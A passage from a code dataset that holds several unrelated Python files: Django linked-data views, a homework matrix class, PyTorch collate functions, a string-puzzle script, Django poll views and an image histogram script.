necessary\n instance = self.model.objects.get(id=id)\n if format is None:\n format = 'html'\n full_url = request.get_full_path()\n if '.ttl' in full_url:\n format = 'ttl'\n elif '.json' in full_url:\n format = 'json'\n elif '.rdf' in full_url:\n format = 'rdf'\n try:\n redirect_to = instance.merged_into\n except AttributeError:\n pass\n else:\n if redirect_to:\n return redirect(self.model.objects.get(id=redirect_to.id), permanent=True)\n # End redirect check\n context = {}\n if format:\n context['content'] = self.model.objects.select_related().get(id=id)\n return self.render_to_format(request, context, self.template_name, format)\n else:\n context['status_code'] = 303\n context['additional_headers'] = {'location': self.path % id}\n context['content'] = None\n return self.render(request, context, self.template_name)\n\n def render(self, request, context, template_name):\n \"\"\"\n Returns a HttpResponse of the right media type as specified by the\n request.\n context can contain status_code and additional_headers members, to set\n the HTTP status code and headers of the request, respectively.\n template_name should lack a file-type suffix (e.g. '.html', as\n renderers will append this as necessary.\n \"\"\"\n request, context, template_name = self.get_render_params(request, context, template_name)\n self.set_renderers()\n\n status_code = context.pop('status_code', httplib.OK)\n additional_headers = context.pop('additional_headers', {})\n\n for renderer in request.renderers:\n response = renderer(request, context, template_name)\n if response is NotImplemented:\n continue\n response.status_code = status_code\n response.renderer = renderer\n break\n else:\n tried_mimetypes = list(itertools.chain(*[r.mimetypes for r in request.renderers]))\n response = self.http_not_acceptable(request, tried_mimetypes)\n response.renderer = None\n\n for key, value in additional_headers.items():\n\n # My changes -- Modify location for 303 redirect\n if key == 'location' and response.renderer:\n location = '%s.%s/' % (value, response.renderer.format)\n try:\n # location += '?page=%s' % context['page']\n location += '?{}'.format(context['queries'])\n except KeyError:\n pass\n response[key] = location\n else:\n response[key] = value\n # End my changes\n # We're doing content-negotiation, so tell the user-agent that the\n # response will vary depending on the accept header.\n patch_vary_headers(response, ('Accept',))\n return response\n\n @renderer(format='html', mimetypes=('text/html', 'application/xhtml+xml'), name='HTML', priority=1)\n def render_html(self, request, context, template_name):\n if context['content']:\n template_name = self.join_template_name(template_name, 'html')\n identifier = 'http://%s%s' % (Site.objects.get_current().domain, context['content'].get_absolute_url())\n context['identifier'] = identifier\n context['id_path'] = identifier[:-1]\n return render(request, template_name, context)\n else:\n return HttpResponse(content='')\n\n @renderer(format='json', mimetypes=('application/json',), name='JSON')\n def render_json(self, request, context, template_name):\n if context['content']:\n #data = {'name': context['memorial'].name}\n graph = self.make_graph(context['content'])\n return HttpResponse(graph.serialize(format='json-ld', indent=4), content_type='application/json')\n else:\n return HttpResponse(content='')\n\n @renderer(format='rdf', mimetypes=('application/rdf+xml',), name='RDF')\n def render_rdf(self, request, context, template_name):\n if context['content']:\n graph = self.make_graph(context['content'])\n return HttpResponse(graph.serialize(format='pretty-xml'), content_type='application/rdf+xml')\n else:\n return HttpResponse(content='')\n\n @renderer(format='ttl', mimetypes=('text/turtle',), name='TURTLE')\n def render_ttl(self, request, context, template_name):\n if context['content']:\n graph = self.make_graph(context['content'])\n return HttpResponse(graph.serialize(format='turtle'), content_type='text/turtle')\n else:\n return HttpResponse(content='')\n\n\nclass LinkedDataListView(LinkedDataView):\n browse_field = None\n queryset = None\n\n def get(self, request, letter=None, format=None):\n context = {}\n queries_without_page = request.GET.copy()\n if 'page' in queries_without_page:\n del queries_without_page['page']\n context['queries'] = queries_without_page\n self.path = self.path.format('{}/'.format(letter) if letter else '')\n if format is None:\n format = 'html'\n full_url = request.get_full_path()\n if '.ttl' in full_url:\n format = 'ttl'\n elif '.json' in full_url:\n format = 'json'\n elif '.rdf' in full_url:\n format = 'rdf'\n if format:\n if self.queryset:\n results = self.queryset\n if letter and self.browse_field:\n filter = '{}__istartswith'.format(self.browse_field)\n results = results.filter(**{filter: letter})\n else:\n if letter and self.browse_field:\n filter = '{}__istartswith'.format(self.browse_field)\n results = self.model.objects.select_related().filter(**{filter: letter})\n else:\n results = self.model.objects.select_related().all()\n if self.browse_field:\n results = results.order_by(self.browse_field)\n count = request.GET.get('count', '25')\n paginator = Paginator(results, count)\n page = request.GET.get('page', '1')\n try:\n content = paginator.page(page)\n except PageNotAnInteger:\n content = paginator.page(1)\n except EmptyPage:\n content = paginator.page(paginator.num_pages)\n context['content'] = content\n context['letter'] = letter\n return self.render_to_format(request, context, self.template_name, format)\n else:\n context['queries'] = request.GET.urlencode()\n context['status_code'] = 303\n context['additional_headers'] = {'location': self.path}\n context['content'] = None\n return self.render(request, context, self.template_name)\n \n\n @renderer(format='html', mimetypes=('text/html', 'application/xhtml+xml'), name='HTML', priority=1)\n def render_html(self, request, context, template_name):\n if context['content'] is not None:\n template_name = self.join_template_name(template_name, 'html')\n identifier = 'http://%s%s/' % (Site.objects.get_current().domain, self.path)\n context['identifier'] = identifier\n context['id_path'] = identifier[:-1]\n return render(request, template_name, context)\n # return render_to_response(template_name, context, context_instance=RequestContext(request), mimetype='text/html')\n else:\n return HttpResponse(content='')\n\n\n","sub_path":"app/linkeddata/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"65219624","text":"##\r\n## General Matrix class\r\n##\r\n##\r\n\r\n# =============================================================================\r\n# Note this class is primarily aimed for use of square matrices\r\n# =============================================================================\r\n\r\nclass Matrix(object):\r\n \r\n# =============================================================================\r\n# Matrix Class initialiser requires only dimensions, and also allows for \r\n# optional setting of on of the standard matrices as described below.\r\n# =============================================================================\r\n \r\n def __init__(self, m, n, Type=\"Zero\"):\r\n \r\n # Standard Matrix types include\r\n # Zero Matrix = \"Zero\"\r\n # Identity Matrix = \"Identity\"\r\n # Elementary Matrices\r\n #\r\n # Add Scalar multiple of j'th row to i'th row = E1[scalar][i][j]\r\n # Swap i'th and j'th row = E2[i][j]\r\n # Multiply i'th row by scalar = E3[scalar][i]\r\n \r\n error_code = -1\r\n \r\n self._M = m\r\n self._N = n\r\n self._Contents = []\r\n self._Square = False\r\n self._RowReducedForm = 0\r\n self._ElementaryConstruct = []\r\n self._Determinant = \"null\"\r\n self._Inverse = 0\r\n \r\n if m == n:\r\n self._Square = True\r\n \r\n check = False\r\n \r\n if (m < 1 or n < 1):\r\n error_code = 0 # Dimensions too small\r\n check = True\r\n else:\r\n for j in range(1, self._N + 1): # Initialise as Zero Matrix\r\n column = []\r\n for i in range(1, self._M + 1):\r\n column.append(0)\r\n self._Contents.append(column)\r\n \r\n \r\n while not check:\r\n \r\n if Type == \"Zero\":\r\n \r\n check = True\r\n \r\n elif not self._Square:\r\n error_code = 1 # Not Square\r\n Type = \"Zero\"\r\n \r\n elif Type == \"Identity\":\r\n for i in range(1, m + 1):\r\n for j in range(1, n + 1):\r\n self.setEntry(i, j, 0)\r\n \r\n for i in range(1, n + 1):\r\n self.setEntry(i, i, 1)\r\n check = True\r\n \r\n elif Type[0] == 'E':\r\n for i in range(1, n + 1): # Set to identity\r\n self.setEntry(i, i, 1)\r\n check = True\r\n k = 1\r\n if Type[k] == '1':\r\n k += 1\r\n if Type[k] == '[':\r\n try:\r\n number, k = self._getInnerBracket(Type, k)\r\n scalar = float(number)\r\n number, k = self._getInnerBracket(Type, k) # Type[k] == '['\r\n i = int(number)\r\n number, k = self._getInnerBracket(Type, k)\r\n j = int(number)\r\n \r\n self.setEntry(i, j, scalar)\r\n check = True\r\n \r\n except:\r\n error_code = 2 # Invalid entry for type E1\r\n Type = \"Identity\"\r\n \r\n else:\r\n error_code = 2\r\n Type = \"Identity\"\r\n \r\n elif Type[k] == '2':\r\n k += 1\r\n if Type[k] == '[':\r\n try:\r\n number, k = self._getInnerBracket(Type, k)\r\n i = int(number)\r\n number, k = self._getInnerBracket(Type, k)\r\n j = int(number)\r\n \r\n self.setEntry(i, i, 0)\r\n self.setEntry(j, j, 0)\r\n self.setEntry(i, j, 1)\r\n self.setEntry(j, i, 1)\r\n \r\n check = True\r\n \r\n except:\r\n error_code = 3 # Invalid entry for type E2\r\n Type = \"Identity\"\r\n \r\n else:\r\n error_code = 3\r\n Type = \"Identity\"\r\n \r\n elif Type[k] == '3':\r\n k += 1\r\n if Type[k] == '[':\r\n try:\r\n number, k = self._getInnerBracket(Type, k)\r\n scalar = float(number)\r\n number, k = self._getInnerBracket(Type, k)\r\n i = int(number)\r\n \r\n self.setEntry(i, i, scalar)\r\n \r\n check = True\r\n \r\n except:\r\n error_code = 4 # Invalid entry for type E3\r\n Type = \"Identity\"\r\n \r\n else:\r\n error_code = 4\r\n Type = \"Identity\"\r\n \r\n else:\r\n error_code = 5 # Invalid Type\r\n Type = \"Identity\"\r\n \r\n \r\n else:\r\n error_code = 5\r\n Type = \"Identity\"\r\n \r\n \r\n if error_code == 0:\r\n print(\"ERROR - Matrix.__init__ - Dimesions too small for matrix\")\r\n elif error_code == 1:\r\n print(\"ERROR - Matrix.__init__ - Matrix not square, defaulting to zero matrix\")\r\n elif error_code == 2:\r\n print(\"ERROR - Matrix.__init__ - Invalid arguments for matrix type E1, defaulting to Identity Matrix\")\r\n elif error_code == 3:\r\n print(\"ERROR - Matrix.__init__ - Invalid arguments for matrix type E2, defaulting to Identity Matrix\")\r\n elif error_code == 4:\r\n print(\"ERROR - Matrix.__init__ - Invalid arguments for matrix type E3, defaulting to Identity Matrix\")\r\n elif error_code == 5:\r\n print(\"ERROR - Matrix.__init__ - Invalid matrix type, defaulting to Identity Matrix\")\r\n \r\n \r\n# =============================================================================\r\n# Returns Matrix dimension in a string format\r\n# =============================================================================\r\n def getDim_Str(self):\r\n \r\n return (str(self._M) + ' x ' + str(self._N))\r\n \r\n# =============================================================================\r\n# Returns Matrix Dimension's; an m x n matrix would return m, n\r\n# =============================================================================\r\n def getDim(self):\r\n \r\n return self._M, self._N\r\n \r\n# =============================================================================\r\n# Set's Matrix entries according to another matrix\r\n# =============================================================================\r\n \r\n def setMatrix(self, A):\r\n error_code = -1\r\n A_M, A_N = A.getDim()\r\n \r\n if (self._M != A_M and self._N != A_N):\r\n error_code = 0 # Invalid Dimensions\r\n else:\r\n for i in range(1, A_M + 1):\r\n for j in range(1, A_N + 1):\r\n self.setEntry(i, j, A.getEntry(i, j))\r\n \r\n if error_code == 0:\r\n print(\"ERROR - Matrix.setMatrix - Matrix Dimensions do not match\")\r\n \r\n# =============================================================================\r\n# Set's matrix entries using a list of vectors, each vector will be appended\r\n# to the matrix's column\r\n# =============================================================================\r\n def setMatrix_Vectors(self, Vectors):\r\n \r\n self._Contents = []\r\n \r\n error_code = -1\r\n vector_no = 0\r\n \r\n if len(Vectors) == self._N:\r\n for vector in Vectors:\r\n vector_no += 1\r\n if len(vector) == self._M:\r\n self._Contents.append(vector)\r\n else:\r\n error_code = 1 # Wrong vector dimension\r\n break\r\n else:\r\n error_code = 0 # Not enough vectors\r\n \r\n if error_code == -1:\r\n print(\"Successfully appended vectors to matrix.\")\r\n elif error_code == 0:\r\n print(\"ERROR - Matrix.setMatrix_Vectors - Not enough vectors passed through to method\")\r\n elif error_code == 1:\r\n print(\"ERROR - Matrix.setMatrix_Vectors - Incorrect Vector dimension passed, Vector number \" + str(vector_no))\r\n \r\n if error_code != -1:\r\n self._Contents = []\r\n \r\n \r\n# =============================================================================\r\n# Returns the (i, j)th entry \r\n# =============================================================================\r\n \r\n def getEntry(self, i, j):\r\n return self._Contents[j-1][i-1]\r\n \r\n# =============================================================================\r\n# Set's the (i, j)th entry\r\n# =============================================================================\r\n \r\n def setEntry(self, i, j, entry):\r\n self._Contents[j-1][i-1] = entry\r\n \r\n# =============================================================================\r\n# Returns the matrix transposed\r\n# =============================================================================\r\n \r\n def Transpose(self): # Returns Transpose of Matrix\r\n \r\n Result = Matrix(self._M, self._N)\r\n \r\n for i in range(self._M):\r\n for j in range(self._N):\r\n Result.setEntry(j, i, self.getEntry(i, j))\r\n \r\n return Result\r\n\r\n# =============================================================================\r\n# Returns the Trace of the matrix\r\n# =============================================================================\r\n \r\n def Trace(self):\r\n if not self._Square:\r\n print(\"ERROR - Matrix.Trace - Matrix is not square\")\r\n return 0\r\n else:\r\n trace = 0\r\n for i in range(1, self._N + 1):\r\n trace += self.getEntry(i, j)\r\n return trace\r\n \r\n# =============================================================================\r\n# Returns the resulting matrix after adding the matrix passed through the parameter\r\n# =============================================================================\r\n def Add(self, A):\r\n \r\n A_M, A_N = A.getDim()\r\n if (A_M != self._M and A_N != self._N):\r\n print(\"ERROR - Matrix.Add - Invalid Matrix Dimensions\")\r\n return Matrix(self._M, self._N)\r\n else:\r\n Result = self\r\n for i in range(1, A_M + 1):\r\n for j in range(1, A_N + 1):\r\n Result.setEntry(i, j, Result.getEntry(i, j) + A.getEntry(i, j))\r\n \r\n return Result\r\n# =============================================================================\r\n# Similar to add, except subtract\r\n# =============================================================================\r\n def Subtract(self, A):\r\n \r\n return self.Add(A.Multiply_Scalar(-1))\r\n \r\n# =============================================================================\r\n# Standard Matrix multiplication on the right\r\n# =============================================================================\r\n \r\n def Multiply(self, A):\r\n \r\n error_code = -1\r\n \r\n A_M, A_N = A.getDim()\r\n \r\n if self._N == A_M:\r\n \r\n Result = Matrix(self._M, A_N)\r\n \r\n m, n = Result.getDim()\r\n \r\n for j in range(1, n + 1):\r\n for i in range(1, m + 1):\r\n \r\n result_entry = 0\r\n \r\n for k in range(1, self._N + 1):\r\n result_entry += self.getEntry(i, k)*A.getEntry(k, j)\r\n \r\n Result.setEntry(i, j, result_entry)\r\n \r\n else:\r\n error_code = 0\r\n \r\n if error_code == -1:\r\n print(\"Successfully completed matrix multiplication\")\r\n elif error_code == 0:\r\n print(\"ERROR - Matrix.Multiply - Invalid matrix dimensions for multiplication\")\r\n \r\n return Result\r\n\r\n# =============================================================================\r\n# Standard Matrix multiplication on the left\r\n# =============================================================================\r\n \r\n def Multiply_L(self, A):\r\n \r\n return A.Multiply(self)\r\n \r\n# =============================================================================\r\n# Multiply matrix by a scalar\r\n# =============================================================================\r\n \r\n def Multiply_Scalar(self, scalar):\r\n \r\n Result = Matrix(self._M, self._N)\r\n \r\n for i in range(1, self._M):\r\n for j in range(1, self._N):\r\n Result.setEntry(i, j, self.getEntry(i, j)*scalar)\r\n \r\n return Result\r\n \r\n# =============================================================================\r\n# Returns a copy of the matrix\r\n# =============================================================================\r\n \r\n def Copy(self):\r\n \r\n return self\r\n \r\n# =============================================================================\r\n# Returns the Matrix in a string format\r\n# =============================================================================\r\n \r\n def toString(self):\r\n \r\n Result = \"\"\r\n for i in range(1, self._M + 1):\r\n row = \"| \"\r\n for j in range(1, self._N + 1):\r\n row += (str(self.getEntry(i, j)) + \" \")\r\n row += \"|\"\r\n Result += (row + \"\\n\")\r\n \r\n return Result\r\n \r\n# =============================================================================\r\n# Returns the Row Reduced form of the matrix\r\n# =============================================================================\r\n \r\n def RowReduce(self): # Badman method, algorithm from proof\r\n # MA106 Theorem 3.4\r\n try:\r\n self._RowReducedForm += 1\r\n i = 1\r\n j = 1\r\n Result = self # check this works if we replace with just 'self'\r\n m, n = Result.getDim()\r\n #print(Result.toString())\r\n \r\n while (i <= m or j <= n):\r\n step1 = True\r\n while step1 and j <= n:\r\n #print(\"( \" + str(i) + \" , \" + str(j) + \" )\")\r\n for k in range(i, m + 1):\r\n if Result.getEntry(k, j) != 0:\r\n step1 = False\r\n if step1:\r\n j += 1\r\n \r\n if j <= n:\r\n if Result.getEntry(i, j) == 0:\r\n for k in range(i + 1, m + 1):\r\n if Result.getEntry(k, j) != 0:\r\n type_code = \"E2[\" + str(i) + \"][\" + str(k) + \"]\"\r\n R2 = Matrix(n, n, Type=type_code)\r\n Result = Result.Multiply_L(R2)\r\n self._ElementaryConstruct.append(type_code)\r\n #print(Result.toString())\r\n \r\n \r\n if Result.getEntry(i, j) != 1:\r\n scalar = 1 / Result.getEntry(i, j)\r\n type_code = \"E3[\" + str(scalar) + \"][\" + str(i) + \"]\"\r\n R3 = Matrix(n, n, Type=type_code)\r\n Result = Result.Multiply_L(R3)\r\n self._ElementaryConstruct.append(type_code)\r\n #print(Result.toString())\r\n \r\n \r\n for k in range(1, m + 1):\r\n if k != i and Result.getEntry(k, j) != 0:\r\n scalar = -1*Result.getEntry(k, j)\r\n type_code = \"E1[\" + str(scalar) + \"][\" + str(k) + \"][\" + str(i) + \"]\"\r\n R1 = Matrix(n, n, Type=type_code)\r\n #print(R1.toString())\r\n Result = Result.Multiply_L(R1)\r\n self._ElementaryConstruct.append(type_code)\r\n #print(Result.toString())\r\n \r\n \r\n i += 1\r\n j += 1\r\n \r\n self._RowReducedForm = Result\r\n return Result\r\n \r\n except:\r\n return self._RowReducedForm\r\n \r\n# =============================================================================\r\n# Returns a boolean value confirming if the two matrices in question are equal\r\n# =============================================================================\r\n \r\n def isEqual(self, A):\r\n A_M, A_N = A.getDim()\r\n \r\n if (self._M != A_M and self._N != A_N):\r\n return False\r\n else:\r\n for i in range(1, A_M + 1):\r\n for j in range(1, A_N + 1):\r\n if self.getEntry(i, j) != A.getEntry(i, j):\r\n return False\r\n \r\n return True\r\n \r\n# =============================================================================\r\n# Returns the determinant of the matrix\r\n# =============================================================================\r\n \r\n def Determinant(self):\r\n \r\n error_code = -1\r\n \r\n try:\r\n float(self._Determinant)\r\n return self._Determinant\r\n except:\r\n det = 1\r\n if not self._Square:\r\n type_code = 0\r\n det = 0\r\n else:\r\n Identity = Matrix(self._N, self._N, Type=\"Identity\")\r\n \r\n if not Identity.isEqual(self.getRowReduce()):\r\n det = 0\r\n else:\r\n for type_code in self._ElementaryConstruct:\r\n type_code = self._Inverse_Elementary(type_code)\r\n det = det*self._det_Elementary(type_code)\r\n \r\n if error_code == -1:\r\n print(\"Successfully Calculated Determinant\")\r\n elif error_code == 0:\r\n print(\"ERROR - Matrix.getDeterminant - Matrix is not square\")\r\n \r\n self._Determinant = det\r\n return det\r\n \r\n# =============================================================================\r\n# Returns the Inverse of the matrix\r\n# =============================================================================\r\n \r\n def Inverse(self):\r\n \r\n error_code = -1\r\n try:\r\n self._Inverse += 1\r\n Result = Matrix(self._N, self._N, Type=self._ElementaryConstruct[0])\r\n \r\n if self.getDeterminant() == 0:\r\n Result = Matrix(self._N, self._N, Type=\"Zero\")\r\n error_code = 0\r\n else:\r\n for i in range(1, len(self._ElementaryConstruct)):\r\n mtrx = Matrix(self._N, self._N, Type=self._ElementaryConstruct[i])\r\n Result = Result.Multiply_L(mtrx)\r\n \r\n self._Inverse = Result\r\n except:\r\n pass\r\n \r\n if error_code == -1:\r\n print(\"Successfully Calculated Determinant\")\r\n elif error_code == 0:\r\n print(\"ERROR - Matrix.getInverse - Zero Determinant, Matrix is non invertable\")\r\n \r\n return self._Inverse\r\n \r\n# =============================================================================\r\n# Computes Row Rank and Row Nullity of the matrix\r\n# =============================================================================\r\n\r\n def Nullity(self):\r\n \r\n RRF = self.RowReduce()\r\n Nullity = 0\r\n for i in range(1, self._M + 1):\r\n row_zero = True\r\n for j in range(1, self_N + 1):\r\n if RRF.getEntry(i, j) != 0:\r\n row_zero = False\r\n \r\n if row_zero:\r\n Nullity += 1\r\n \r\n return Nullity\r\n \r\n def Rank(self):\r\n \r\n return (self._M - self.Nullity())\r\n \r\n# =============================================================================\r\n# Private Methods to aid in modularising the code\r\n# =============================================================================\r\n \r\n \r\n def _Inverse_Elementary(self, type_code):\r\n \r\n if type_code[1] == '1':\r\n k = 2\r\n number, k = self._getInnerBracket(type_code, k)\r\n scalar = -1*float(number)\r\n type_code = \"E1[\" + str(scalar) + \"]\" + type_code[k:]\r\n \r\n elif type_code[1] == '2':\r\n pass\r\n \r\n elif type_code[1] == '3':\r\n k = 2\r\n number, k = self._getInnerBracket(type_code, k)\r\n scalar = 1/float(number)\r\n type_code = \"E3[\" + str(scalar) + \"]\" + type_code[k:]\r\n \r\n else:\r\n print(\"ERROR - Matrix._Inverse_Elementary - Invalid type code\")\r\n \r\n return type_code\r\n \r\n def _det_Elementary(self, type_code):\r\n \r\n det = 0\r\n \r\n if type_code[1] == '1':\r\n det = 1\r\n elif type_code[1] == '2':\r\n det = -1\r\n elif type_code[1] == '3':\r\n k = 2\r\n number, k = self._getInnerBracket(type_code, k)\r\n det = float(number)\r\n \r\n return det\r\n \r\n \r\n def _getInnerBracket(self, code, k):\r\n number = \"\" # code[k] = '['\r\n k += 1\r\n char = code[k] \r\n while char != ']':\r\n number += char\r\n k += 1\r\n char = code[k]\r\n \r\n k += 1\r\n \r\n return number, k\r\n \r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n \r\n \r\n \r\n \r\n \r\n\r\n \r\n \r\n \r\n \r\n\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n ","sub_path":"Matrix.py","file_name":"Matrix.py","file_ext":"py","file_size_in_byte":23287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"172688373","text":"import re\n\nimport torch\nfrom torch._six import container_abcs, string_classes, int_classes\nimport numpy as np\n\n\nnp_str_obj_array_pattern = re.compile(r'[SaUO]')\ncollate_classification_err_msg_format = (\n \"collate_classification: batch must contain tensors, numpy arrays, numbers, \"\n \"dicts or lists; found {}\")\n\n\ndef collate_classification(batch):\n r\"\"\"Puts each data field into a tensor with outer dimension batch size\"\"\"\n\n elem = batch[0]\n elem_type = type(elem)\n\n if isinstance(elem, torch.Tensor):\n out = None\n if torch.utils.data.get_worker_info() is not None:\n # If we're in a background process, concatenate directly into a\n # shared memory tensor to avoid an extra copy\n numel = sum([x.numel() for x in batch])\n storage = elem.storage()._new_shared(numel)\n out = elem.new(storage)\n return torch.stack(batch, 0, out=out)\n elif elem_type.__module__ == 'numpy' and elem_type.__name__ != 'str_' \\\n and elem_type.__name__ != 'string_':\n elem = batch[0]\n if elem_type.__name__ == 'ndarray':\n # array of string classes and object\n if np_str_obj_array_pattern.search(elem.dtype.str) is not None:\n raise TypeError(collate_classification_err_msg_format.format(elem.dtype))\n\n return collate_classification([torch.as_tensor(b) for b in batch])\n elif elem.shape == (): # scalars\n return torch.as_tensor(batch)\n elif isinstance(elem, float):\n return torch.tensor(batch, dtype=torch.float64)\n elif isinstance(elem, int_classes):\n return torch.tensor(batch)\n elif isinstance(elem, string_classes):\n return batch\n elif isinstance(elem, container_abcs.Mapping):\n return {key: collate_classification([d[key] for d in batch]) for key in elem}\n elif isinstance(elem, tuple) and hasattr(elem, '_fields'): # namedtuple\n return elem_type(*(collate_classification(samples) for samples in zip(*batch)))\n elif isinstance(elem, container_abcs.Sequence):\n transposed = zip(*batch)\n return [collate_classification(samples) for samples in transposed]\n\n raise TypeError(collate_classification_err_msg_format.format(elem_type))\n\n\ndef _parse_tensor_or_numpy(x):\n if isinstance(x, torch.Tensor):\n return x\n elif isinstance(x, np.ndarray):\n return torch.from_numpy(x.transpose(2, 0, 1).astype(np.float32))\n else:\n raise TypeError(\"Image should be tensor or np.ndarray,\"\n f\"but got {type(x)}.\")\n\n\ndef collate_detection_train(batch):\n images = []\n rest = []\n for i, elems in enumerate(zip(*batch)):\n if i == 0:\n images = torch.stack(elems)\n else:\n rest.append(elems)\n return (images, *tuple(rest))\n\n\ndef collate_detection_val(batch):\n \"\"\"Collate function for object detection.\n This function tensorizes only image. ``torch.utils.data.Dataloader`` will\n use this function as an argument of ``collate_fn``.\n Args:\n batch (list): List of samples.\n Returns:\n tuple: Concated batch where each is list of elements.\n \"\"\"\n images = []\n rest = []\n for i, elems in enumerate(zip(*batch)):\n if i == 0:\n images = [_parse_tensor_or_numpy(elem) for elem in elems]\n else:\n rest.append(elems)\n\n return (images, *tuple(rest))\n","sub_path":"repro_vision/collate.py","file_name":"collate.py","file_ext":"py","file_size_in_byte":3420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"294540832","text":"import math\nimport os\nimport random\nimport re\nimport sys\nimport string\n\nnm = input().split()\n\nn = int(nm[0])\n\nm = int(nm[1])\n\nmatrix = []\n\nfor _ in range(n):\n matrix_item = input()\n matrix.append(matrix_item)\nalnum = string.ascii_letters + string.digits\nstring = \"\"\nstring2=\"\"\ntruth_table= []\nfor j in range(m):\n for i in range(n):\n string += (matrix[i][j])\n truth_table.append(matrix[i][j] in alnum)\ntry:\n start = truth_table.index(True)\n end = len(truth_table) - truth_table[::-1].index(True)\nexcept ValueError:\n print(\"exception\",string)\nelse:\n\n for letter in string:\n string2 += letter in alnum and letter or \" \"\n string2 = string2.rstrip()\n string2 = string2.strip()\n while \" \" in string2:\n string2=string2.replace(\" \",\" \")\n tail=string[end:]\n head=string[:start]\n print(head+string2+tail)\n\n\n#\n#**********DATA*********#\n# 7 3\n# Tsi\n# h%x\n# i #\n# sM\n# $a\n# #t%\n# ir!\n","sub_path":"matrix_script.py","file_name":"matrix_script.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"586348321","text":"#coding=utf-8\nfrom django.contrib.auth.decorators import login_required\nfrom django.core.urlresolvers import reverse\n\nfrom django.shortcuts import render, redirect\nfrom poll.models import Evaluation, EvaluationItems, StaffEvaluation, Items\nfrom staff.models import Staff\n\n\n@login_required\ndef index(request):\n return redirect(reverse(\"poll_best\"))\n\n@login_required\ndef best(request):\n login_staff = Staff.objects.get(user=request.user)\n if login_staff.poll_right:\n staffs = Staff.objects.filter(vote_right=True)\n if request.method == \"POST\":\n if login_staff.had_poll:\n msg = \"您已经投过票,请勿重复投票!\"\n else:\n login_staff.had_poll = True\n login_staff.save()\n checkedIds = request.POST.getlist(\"checkedId\")\n for staff_id in checkedIds:\n staff = Staff.objects.get(id=staff_id)\n staff.poll_num += 1\n staff.save()\n msg = \"投票成功!\"\n else:\n msg = \"对不起,您没有投票权!\"\n return render(request, \"poll/best.html\", locals())\n\n\n@login_required\ndef staff(request):\n login_staff = Staff.objects.get(user=request.user)\n staffs = Staff.objects.filter(scored_right=True)\n evaluation = Evaluation.objects.all()[0]\n for staff in staffs:\n lst_record = StaffEvaluation.objects.filter(evaluation=evaluation, staff=staff, create_staff=login_staff)\n staff.lst_record = lst_record\n return render(request, \"poll/staff.html\", locals())\n\n\n@login_required\ndef evaluation(request):\n login_staff = Staff.objects.get(user=request.user)\n if request.method == \"GET\":\n staff_id = request.GET.get(\"staff\")\n staff = Staff.objects.get(id=staff_id)\n evaluation = Evaluation.objects.all()[0]\n lst_se = StaffEvaluation.objects.filter(evaluation=evaluation, staff=staff, create_staff=login_staff)\n if len(lst_se) > 0:\n msg = u\"您已经给职工%s打过分!\" % staff.name\n else:\n evaluationItems = EvaluationItems.objects.filter(evaluation=evaluation)\n return render(request, \"poll/evaluation.html\", locals())\n else:\n\n evaluation_id = request.POST.get(\"evaluation_id\")\n staff_id = request.POST.get(\"staff_id\")\n evaluation = Evaluation.objects.get(id=evaluation_id)\n staff = Staff.objects.get(id=staff_id)\n\n post_keys = request.POST.keys()\n item_and_point = []\n for key in post_keys:\n if str(key).startswith(\"evalue_\"):\n item = Items.objects.get(id=int(key.replace(\"evalue_\", \"\")))\n item_and_point.append([item, int(request.POST.get(key))])\n for item_point in item_and_point:\n st = StaffEvaluation(staff=staff, evaluation=evaluation,\n items=item_point[0], point=item_point[1], create_staff=login_staff)\n st.save()\n ses = StaffEvaluation.objects.filter(staff=staff, evaluation=evaluation)\n score, dafen = 0, []\n for se in ses:\n score = score + se.point\n dafen.append(se.create_staff.id)\n avg = float(score) / float(len(set(dafen)))\n staff.score = \"%.2f\" % avg\n staff.save()\n return redirect(reverse(\"poll_staff\"))\n\n","sub_path":"ceping/poll/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"7545630","text":"#绘制直方图\nimport cv2\nimport os\nimport matplotlib\nimport matplotlib.pyplot\n\ndef getHistogram(ImagePath = ''):\n print(ImagePath)\n Histogram = [0 for n in range(0, 256)]\n ImageData = cv2.imread(ImagePath)\n ImageSize = ImageData.shape\n for i in range(0, ImageSize[0]):\n for j in range(0, ImageSize[1]):\n Histogram[ImageData[i][j][0]] = Histogram[ImageData[i][j][0]] + 1\n \n return Histogram\n\n\n#matplotlib.use('Agg')\nx = range(0, 256)\nif not os.path.exists('..\\ImagesLib\\Gray\\HistogramImages'):\n os.makedirs('..\\ImagesLib\\Gray\\HistogramImages')\ncounter = 0\nPicName_list = os.listdir('..\\ImagesLib\\Gray')\nfor FileName in PicName_list:\n HistogramData = getHistogram('..\\\\ImagesLib\\\\Gray\\\\'+FileName)\n matplotlib.pyplot.figure(FileName.split('.')[0])\n matplotlib.pyplot.axis([0, 260, 0, 3400])\n matplotlib.pyplot.plot(x, HistogramData)\n matplotlib.pyplot.savefig('..\\\\ImagesLib\\\\Gray\\\\HistogramImages\\\\' + FileName.split('.')[0] + '.png')\n counter = counter + 1\n matplotlib.pyplot.close()\n# print(counter)\n\nos.system('pause')\n","sub_path":"ImagePic4.py","file_name":"ImagePic4.py","file_ext":"py","file_size_in_byte":1090,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"73576080","text":"# -*- coding: utf-8 -*-\n\"\"\"\nstation.py\n\nThis module contains the Station class, which is used for organizing and\nmanaging data for a single USGS stream gauge.\n\"\"\"\nfrom __future__ import absolute_import, print_function\nfrom . import typing\nfrom . import hydrofunctions as hf\n\n\nclass Station(object):\n \"\"\"A class for organizing stream gauge data for a single site.\"\"\"\n\n def fetch2(self):\n \"\"\"Will request data from NWIS after checking input types.\"\"\"\n # raise TypeError if parameters are wrong\n typing.check_NWIS_station_id(self.site)\n typing.check_datestr(self.start_date)\n typing.check_datestr(self.end_date)\n hf.get_nwis(self.site, self.service, self.start_date, self.end_date)\n\n def __init__(self, site=None, 